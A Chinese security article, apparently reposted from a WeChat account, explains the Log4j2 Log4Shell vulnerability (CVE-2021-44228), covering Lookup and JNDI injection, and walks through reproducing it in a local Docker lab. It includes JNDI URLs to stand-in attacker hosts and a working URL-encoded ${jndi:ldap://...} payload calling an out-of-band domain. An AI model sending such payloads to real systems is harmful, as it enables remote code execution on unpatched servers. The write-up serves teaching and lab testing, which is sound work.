[漏洞原理]|log4j2远程代码执行漏洞原理"

admin 2026-10-18 01:42:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

[漏洞原理]| log4j2远程代码执行漏洞原理

原创

devildollking
devildollking

熔城Sec

2026年8月26日 09:00
辽宁

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

免责声明

该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。公众号现在只对常读和星标的公众号才展示大图推送,建议把公众号设为星标,否则可能就看不到啦!感谢各位师傅。

漏洞描述

Apache Log4j2 远程代码执行漏洞(CVE-2021-44228,俗称 Log4Shell) 是 Java 生态中影响极广的“核弹级”漏洞,CVSS 评分为 10.0(满分)。该漏洞因 Log4j2 日志框架的 JNDI(Java 命名和目录接口)解析缺陷导致,攻击者可通过构造恶意日志内容,实现远程代码执行(RCE),直接获取服务器权限

漏洞触发流程

漏洞描述

Log4j2 漏洞主要是由于其提供的lookup功能下的JndiLookup模块出现问题所导致的。当开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4请求远程主机上的含有恶意代码的资源并执行其中的代码。

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。

攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。

Lookup功能

Log4j2的Lookup功能是用于在配置文件中添加值的一种方法,允许你在log4j2.xml中获取项目工程中的变量。通过使用${占位符}语法,你可以在配置文件的任意位置插入变量的值。这个功能使得Log4j2更加灵活,可以根据项目的具体需求进行配置。
例如,你可以使用${sys:my.property}来引用系统属性中的“my.property”值。Log4j2将会使用Lookup函数从系统属性中查找该属性的值,并将其替换为实际值。这种机制使得Log4j2可以根据环境变量、系统属性或其他外部配置来动态调整日志行为。

JNDI

JNDI简介

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

常见的JNDI URL格式

rmi://localhost:1099/MyRemoteObjectldap://attacker.com:1389/evilObjectdns://attacker.com/evilObjectiiop://localhost:900/MyObject

整个JNDI注入的关键点是 javax.naming.Context.lookup() 方法。当JNDI的Provider URL可控时,攻击者可以传入恶意的远程地址,触发以下流程:

漏洞复现

环境搭建

在docker中搭建靶场

拉取镜像

for mirror in dockerproxy.net docker.m.daocloud.io docker.1panel.live hub-mirror.c.163.com docker.mirrors.ustc.edu.cn; do  echo \"==> Trying $mirror\"  docker pull $mirror/vulfocus/log4j2-cve-2021-44228 && {    docker tag $mirror/vulfocus/log4j2-cve-2021-44228 vulfocus/log4j2-cve-2021-44228    echo \"Success with $mirror\"    break  }done

重新打标签

docker tag dockerproxy.net/vulfocus/log4j2-cve-2021-44228 vulfocus/log4j2-cve-2021-44228:latest

验证:

docker images | grep log4j2

先查看镜像暴露的端口

docker inspect vulfocus/log4j2-cve-2021-44228:latest | grep -A 10 ExposedPorts

启动容器

docker run -d --name log4j2-test -p 8080:8080 vulfocus/log4j2-cve-2021-44228:latest

查看容器日志,确认启动状态

docker logs -f log4j2-test

访问漏洞环境

http://localhost:8080

利用yakit平台获取一个域名,将数据外带出来

构造payload

${jndi://ldap://xvbugdbbsd.iyhc.eu.org}

对URL进行编码处理

进行payload构造

localhost:8080/hello?payload=%24%7Bjndi%3A%2F%2Fldap%3A%2F%2Fxvbugdbbsd.iyhc.eu.org%7D


[漏洞原理]|log4j2远程代码执行漏洞原理" 网络安全文章

[漏洞原理]|log4j2远程代码执行漏洞原理"

该文档详细分析了Log4j2远程代码执行漏洞CVE-2021-44228的原理。核心问题在于Log4j2的JNDILookup功能未对用户输入进行限制,攻击者可通过构造包含恶意JNDI地址的日志内容,触发远程代码执行。文档提供了漏洞触发流程、JNDI注入原理及复现步骤,建议开发人员对用户输入进行严格过滤。
CVE-2026-21962WebLogic代理插件RCE漏洞" 网络安全文章

CVE-2026-21962WebLogic代理插件RCE漏洞"

CVE-2026-21962是影响OracleHTTPServer和WebLogicProxyPlug-in的高危漏洞,CVSS评分10.0,已遭在野利用。漏洞根因是URI规范化绕过和堆缓冲区溢出,攻击者可通过特制HTTP请求实现未授权远程代码执行。建议立即应用Oracle2026年1月安全更新,限制网络访问并监控异常流量。
安全工具丨一款可视化渗透测试工具箱。支持信息收集、漏洞扫描、爆破逆向、向分析、移动端Hook、代理隧道等功能" 网络安全文章

安全工具丨一款可视化渗透测试工具箱。支持信息收集、漏洞扫描、爆破逆向、向分析、移动端Hook、代理隧道等功能"

Forgex是一款面向Windows平台的集成式渗透测试工具箱,聚合信息收集、漏洞扫描、爆破逆向、移动端Hook、代理隧道等数十款主流安全工具于统一可视化界面,基于PyQt5开发,支持离线自包含分发与一键启动。内置ForgexAI智能渗透模块,基于多角色大语言模型实现自动化任务编排。工具生态丰富且可扩展,适合红队演练、漏洞验证等场景。用户可通过编辑配置文件增删工具,但需注意合法使用。
评论:0   参与:  0